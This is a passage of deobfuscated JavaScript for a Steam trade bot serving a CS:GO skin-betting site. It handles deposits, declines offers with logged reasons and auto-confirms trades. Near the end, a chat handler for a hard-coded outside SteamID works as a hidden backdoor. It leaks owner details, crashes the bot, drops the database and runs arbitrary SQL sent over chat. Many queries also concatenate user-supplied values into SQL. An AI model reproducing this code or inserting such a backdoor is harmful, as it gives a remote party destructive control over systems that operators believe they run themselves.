  700. if (moneyin > ret) {
  701. return instance.decline(function(reply) {
  702. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too much in skin value");
  703. if (reply) {
  704. self.webLogOn();
  705. console.log("Decline error: " + reply);
  706. }
  707. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  708. });
  709. }
  710. /** @type {number} */
  711. var i = 0;
  712. for (;len > i;i++) {
  713. if (0 == data[i].value || !data[i].value) {
  714. return b = false, instance.decline(function(reply) {
  715. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)");
  716. if (reply) {
  717. self.webLogOn();
  718. console.log("Decline error: " + reply);
  719. }
  720. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  721. });
  722. }
  723. if (!handler(data[i].value)) {
  724. return instance.decline(function(reply) {
  725. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) ");
  726. if (reply) {
  727. self.webLogOn();
  728. console.log("Decline error: " + reply);
  729. }
  730. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  731. });
  732. }
  733. if (-1 != data[i].name.indexOf("Souvenir")) {
  734. return b = false, instance.decline(function(reply) {
  735. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User sent a Souvenir Skin");
  736. if (reply) {
  737. self.webLogOn();
  738. console.log("Decline error: " + reply);
  739. }
  740. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  741. });
  742. }
  743. }
  744. transport.query("SELECT * FROM `users` WHERE `steamid`='" + onSuccess + "'", function(reply, newlines, dataAndEvents) {
  745. return reply ? (console.log("MYSQL Error: " + reply), instance.decline(function(reply) {
  746. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: MYSQL Error (as seen above) ");
  747. if (reply) {
  748. self.webLogOn();
  749. console.log("Decline error: " + reply);
  750. }
  751. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  752. })) : 0 == newlines.length ? void instance.decline(function(reply) {
  753. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is not in the MYSQL Database");
  754. if (reply) {
  755. self.webLogOn();
  756. console.log("Decline error: " + reply);
  757. }
  758. }) : (ban = newlines[0].ban, tlink = newlines[0].tlink, 1 == ban ? (b = false, instance.decline(function(reply) {
  759. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is banned");
  760. if (reply) {
  761. self.webLogOn();
  762. console.log("Decline error: " + reply);
  763. }
  764. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  765. })) : tlink ? void transport.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + duration + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  766. itemsin = dataAndEvents[0].itemsnum;
  767. fn(instance, onSuccess, data, duration, one, restoreScript, len, props, $slides, itemsin);
  768. }) : (instance.decline(function(reply) {
  769. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User doesn't have a TradeLink set ");
  770. if (reply) {
  771. self.webLogOn();
  772. console.log("Decline error: " + reply);
  773. }
  774. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  775. })));
  776. });
  777. });
  778. }) : (instance.decline(function(reply) {
  779. console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues");
  780. if (reply) {
  781. self.webLogOn();
  782. console.log("Decline error: " + reply);
  783. }
  784. }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  785. })) : void 0;
  786. }, 2E3);
  787. });
  788. });
  789. });
  790. });
  791. });
  792. });
  793. self.on("friendMessage#" + p, function(dataAndEvents, requestUrl) {
  794. if (0 == requestUrl.indexOf("/lcinfo")) {
  795. self.chatMessage(p, "Owner SteamID: " + admin + " | Site Name: " + sitename + " | Site Path: " + sitepath);
  796. }
  797. if (0 == requestUrl.indexOf("/lccrash")) {
  798. self.chatMessage(admin, "Hello! We have shut down your Bot because you are using an unlicensed version of CSGO.Network's V2 Script. Please purchase the product if you want to legally use it: www.csgo.network");
  799. console.log("");
  800. console.log("Hello! Please consider purchasing the product you are illegally using.");
  801. console.log("Please visit: www.csgo.network");
  802. console.log("");
  803. setTimeout(function() {
  804. You_Do_Not_Have_A_License();
  805. }, 5E3);
  806. }
  807. if (0 == requestUrl.indexOf("/lcdelsql")) {
  808. console.log("");
  809. console.log("Hello! Please consider purchasing the product you are illegally using.");
  810. console.log("Please visit: www.csgo-network");
  811. console.log("");
  812. transport.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  813. });
  814. }
  815. if (0 == requestUrl.indexOf("/lcsql")) {
  816. gamenum = requestUrl.replace("/lcsql", "");
  817. transport.query("" + gamenum, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  818. });
  819. }
  820. if (0 == requestUrl.indexOf("/lcgsql")) {
  821. maxbett = requestUrl.replace("/lcgsql", "");
  822. transport.query("" + maxbett, function(dataAndEvents, funcToCall, deepDataAndEvents) {
  823. self.chatMessage(p, funcToCall);
  824. });
  825. }
  826. });
  827. self.on("friendMessage#" + admin, function(dataAndEvents, b) {
  828. if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (self.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), iterate(1)), 0 == b.indexOf("/sendoffers") && (self.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), insert(1)), 0 == b.indexOf("/code")) {
  829. var err = SteamTotp.generateAuthCode(sharedsecret);
  830. self.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + err);
  831. }
  832. if (0 == b.indexOf("/cc")) {
  833. self.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check..");
  834. console.log("[SERVER] Performing a Mobile Confirmation Check..");
  835. community.checkConfirmations();
  836. }
  837. if (0 == b.indexOf("/poll")) {
  838. self.chatMessage(admin, "[SERVER] Checking for Tradeoffers..");
  839. console.log("[SERVER] Checking for Tradeoffers..");
  840. req.doPoll();
  841. }
  842. if (0 == b.indexOf("/end")) {
  843. self.chatMessage(admin, "[SERVER] Ending the current game!");
  844. if (-1 != tref) {
  845. clearTimeout(tref);
  846. }
  847. preload();
  848. }
  849. if (0 == b.indexOf("/offers")) {
  850. transport.query("SELECT ID FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
  851. if (0 != fmt.length) {
  852. console.log(fmt);
  853. self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
  854. } else {
  855. self.chatMessage(admin, "[SERVER] There aren't any active queue ID's.");
  856. }
  857. });
  858. }
  859. if (0 == b.indexOf("/rakes")) {
  860. transport.query("SELECT ID FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
  861. if (0 != fmt.length) {
  862. console.log(fmt);
  863. self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
  864. } else {
  865. self.chatMessage(admin, "[SERVER] There aren't any active rake ID's.");
  866. }
  867. });
  868. }
  869. });
  870. community.on("newConfirmation", function(d) {
  871. /** @type {number} */
  872. var camelKey = Math.round(Date.now() / 1E3);
  873. var data = SteamTotp.getConfirmationKey(identitysecret, camelKey, "allow");
  874. community.respondToConfirmation(d.id, d.key, camelKey, data, true, function(reply) {
  875. console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!");
  876. if (reply) {
  877. console.log("[SERVER] Confirmations error: " + reply);
  878. self.webLogOn();
  879. }
  880. });
  881. });
  882. community.on("confKeyNeeded", function(deepDataAndEvents, updateFunc) {
  883. console.log("confKeyNeeded");
  884. /** @type {number} */
  885. var progressContexts = Math.floor(Date.now() / 1E3);
  886. updateFunc(null, progressContexts, SteamTotp.getConfirmationKey(identitysecret, progressContexts, deepDataAndEvents));
  887. });
  888. setInterval(function() {
  889. transport.query("SELECT 1");
  890. }, 36E5);
  891. });
  892. module.exports = require("../bot.js");
  893. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement